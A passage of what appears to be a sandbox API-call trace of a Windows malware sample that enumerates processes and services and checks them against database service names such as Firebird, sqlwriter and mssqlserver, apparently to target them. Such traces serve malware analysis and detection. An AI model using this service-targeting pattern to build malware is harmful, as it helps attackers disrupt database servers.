lpString2="ProfSvc") returned 1 [0182.337] lstrlenW (lpString="RpcEptMapper") returned 12 [0182.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0182.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0182.337] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0182.337] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0182.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0182.337] lstrlenW (lpString="RpcSs") returned 5 [0182.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0182.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0182.337] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0182.337] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0182.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0182.337] lstrlenW (lpString="SamSs") returned 5 [0182.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0182.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0182.337] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0182.337] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0182.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0182.337] lstrlenW (lpString="Schedule") returned 8 [0182.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0182.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0182.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0182.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0182.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0182.338] lstrlenW (lpString="SecurityHealthService") returned 21 [0182.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0182.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0182.338] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0182.338] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0182.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0182.338] lstrlenW (lpString="SENS") returned 4 [0182.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0182.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0182.338] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0182.338] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0182.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0182.338] lstrlenW (lpString="ShellHWDetection") returned 16 [0182.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0182.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0182.338] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0182.338] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0182.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0182.338] lstrlenW (lpString="Spooler") returned 7 [0182.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0182.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0182.338] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0182.338] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0182.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0182.338] lstrlenW (lpString="StateRepository") returned 15 [0182.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0182.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0182.338] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0182.338] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0182.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0182.338] lstrlenW (lpString="SysMain") returned 7 [0182.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0182.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0182.339] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0182.339] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0182.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0182.339] lstrlenW (lpString="SystemEventsBroker") returned 18 [0182.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0182.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0182.339] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0182.339] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0182.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0182.339] lstrlenW (lpString="Themes") returned 6 [0182.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0182.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0182.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0182.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0182.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0182.339] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0182.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0182.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0182.339] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0182.339] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0182.339] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e50e0 | out: hHeap=0x420000) returned 1 [0182.339] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x404 [0182.682] Process32FirstW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.682] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0182.682] lstrlenW (lpString="System") returned 6 [0182.682] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0182.683] lstrlenW (lpString="smss.exe") returned 8 [0182.683] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.683] lstrlenW (lpString="csrss.exe") returned 9 [0182.683] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0182.684] lstrlenW (lpString="wininit.exe") returned 11 [0182.684] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.684] lstrlenW (lpString="csrss.exe") returned 9 [0182.684] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0182.685] lstrlenW (lpString="winlogon.exe") returned 12 [0182.685] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0182.685] lstrlenW (lpString="services.exe") returned 12 [0182.685] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0182.685] lstrlenW (lpString="lsass.exe") returned 9 [0182.685] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0182.686] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0182.686] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0182.686] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0182.686] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.687] lstrlenW (lpString="svchost.exe") returned 11 [0182.687] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.687] lstrlenW (lpString="svchost.exe") returned 11 [0182.687] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0182.688] lstrlenW (lpString="dwm.exe") returned 7 [0182.688] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.688] lstrlenW (lpString="svchost.exe") returned 11 [0182.688] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.689] lstrlenW (lpString="svchost.exe") returned 11 [0182.689] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.689] lstrlenW (lpString="svchost.exe") returned 11 [0182.689] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.690] lstrlenW (lpString="svchost.exe") returned 11 [0182.690] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.690] lstrlenW (lpString="svchost.exe") returned 11 [0182.690] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.690] lstrlenW (lpString="svchost.exe") returned 11 [0182.691] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.691] lstrlenW (lpString="svchost.exe") returned 11 [0182.691] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.691] lstrlenW (lpString="svchost.exe") returned 11 [0182.691] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.692] lstrlenW (lpString="svchost.exe") returned 11 [0182.692] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.692] lstrlenW (lpString="svchost.exe") returned 11 [0182.692] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0182.693] lstrlenW (lpString="spoolsv.exe") returned 11 [0182.693] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.693] lstrlenW (lpString="svchost.exe") returned 11 [0182.693] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0182.693] lstrlenW (lpString="audiodg.exe") returned 11 [0182.694] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0182.694] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0182.694] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0182.694] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0182.694] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0182.695] lstrlenW (lpString="Memory Compression") returned 18 [0182.695] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0182.695] lstrlenW (lpString="sihost.exe") returned 10 [0182.695] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.696] lstrlenW (lpString="svchost.exe") returned 11 [0182.696] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0182.696] lstrlenW (lpString="taskhostw.exe") returned 13 [0182.696] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0182.697] lstrlenW (lpString="msoia.exe") returned 9 [0182.697] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0182.697] lstrlenW (lpString="explorer.exe") returned 12 [0182.697] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0182.697] lstrlenW (lpString="SearchUI.exe") returned 12 [0182.697] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0182.698] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0182.698] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0182.698] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0182.698] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0182.699] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0182.699] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0182.699] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0182.699] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0182.700] lstrlenW (lpString="cmd.exe") returned 7 [0182.700] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0182.700] lstrlenW (lpString="conhost.exe") returned 11 [0182.700] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0182.700] lstrlenW (lpString="mode.com") returned 8 [0182.700] Process32NextW (in: hSnapshot=0x404, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0182.701] CloseHandle (hObject=0x404) returned 1 [0182.701] Sleep (dwMilliseconds=0x1f4) [0183.210] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b4b8 [0183.210] EnumServicesStatusExW (in: hSCManager=0x447b4b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0183.211] GetLastError () returned 0xea [0183.211] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c28) returned 0x4579110 [0183.211] EnumServicesStatusExW (in: hSCManager=0x447b4b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4579110, cbBufSize=0x1c28, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4579110, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0183.212] CloseServiceHandle (hSCObject=0x447b4b8) returned 1 [0183.212] lstrlenW (lpString="AppXSvc") returned 7 [0183.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0183.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0183.212] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0183.212] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0183.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0183.212] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0183.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0183.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0183.212] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0183.212] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0183.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0183.212] lstrlenW (lpString="Audiosrv") returned 8 [0183.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0183.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0183.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0183.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0183.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0183.212] lstrlenW (lpString="BFE") returned 3 [0183.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0183.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0183.213] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0183.213] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0183.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0183.213] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0183.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0183.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0183.213] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0183.213] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0183.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0183.213] lstrlenW (lpString="CDPSvc") returned 6 [0183.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0183.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0183.213] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0183.213] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0183.213] 